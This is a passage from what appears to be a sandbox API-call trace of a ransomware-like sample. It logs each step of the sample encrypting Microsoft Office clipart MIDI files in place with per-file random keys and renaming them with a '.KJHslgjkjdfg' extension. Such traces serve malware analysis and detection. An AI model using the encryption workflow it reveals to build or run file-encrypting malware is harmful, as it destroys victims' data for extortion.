lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a6b, lpOverlapped=0x0) returned 1 [0217.156] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a70) returned 1 [0217.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.156] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a70, lpOverlapped=0x0) returned 1 [0217.156] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.156] SetEndOfFile (hFile=0x130) returned 1 [0217.157] GetProcessHeap () returned 0x2ef0000 [0217.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.157] GetProcessHeap () returned 0x2ef0000 [0217.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.kjhslgjkjdfg")) returned 1 [0217.159] CloseHandle (hObject=0x130) returned 1 [0217.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0217.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.160] GetProcessHeap () returned 0x2ef0000 [0217.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0217.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.165] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.165] GetProcessHeap () returned 0x2ef0000 [0217.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.165] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.165] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.166] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.166] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.166] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.166] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x195b, lpOverlapped=0x0) returned 1 [0217.168] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1960, dwBufLen=0x1960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1960) returned 1 [0217.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.168] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1960, lpOverlapped=0x0) returned 1 [0217.168] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.168] SetEndOfFile (hFile=0x130) returned 1 [0217.170] GetProcessHeap () returned 0x2ef0000 [0217.170] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.170] GetProcessHeap () returned 0x2ef0000 [0217.170] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.kjhslgjkjdfg")) returned 1 [0217.171] CloseHandle (hObject=0x130) returned 1 [0217.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0217.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.173] GetProcessHeap () returned 0x2ef0000 [0217.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.173] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.173] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0217.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.186] GetProcessHeap () returned 0x2ef0000 [0217.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.186] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.186] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.186] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1652, lpOverlapped=0x0) returned 1 [0217.212] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1660, dwBufLen=0x1660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1660) returned 1 [0217.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.212] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1660, lpOverlapped=0x0) returned 1 [0217.212] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.212] SetEndOfFile (hFile=0x130) returned 1 [0217.215] GetProcessHeap () returned 0x2ef0000 [0217.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.215] GetProcessHeap () returned 0x2ef0000 [0217.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.kjhslgjkjdfg")) returned 1 [0217.217] CloseHandle (hObject=0x130) returned 1 [0217.217] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0217.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.218] GetProcessHeap () returned 0x2ef0000 [0217.218] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.218] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.219] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0217.272] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.272] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.272] GetProcessHeap () returned 0x2ef0000 [0217.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.273] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x215a, lpOverlapped=0x0) returned 1 [0217.283] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2160, dwBufLen=0x2160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2160) returned 1 [0217.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.284] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2160, lpOverlapped=0x0) returned 1 [0217.284] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.284] SetEndOfFile (hFile=0x130) returned 1 [0217.286] GetProcessHeap () returned 0x2ef0000 [0217.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.286] GetProcessHeap () returned 0x2ef0000 [0217.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.kjhslgjkjdfg")) returned 1 [0217.288] CloseHandle (hObject=0x130) returned 1 [0217.288] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0217.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.290] GetProcessHeap () returned 0x2ef0000 [0217.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.290] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0217.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.318] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.318] GetProcessHeap () returned 0x2ef0000 [0217.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.318] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.319] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.319] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.319] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17b6, lpOverlapped=0x0) returned 1 [0217.335] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0) returned 1 [0217.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.336] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17c0, lpOverlapped=0x0) returned 1 [0217.336] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.336] SetFilePointerEx (in: hFile=0x130, 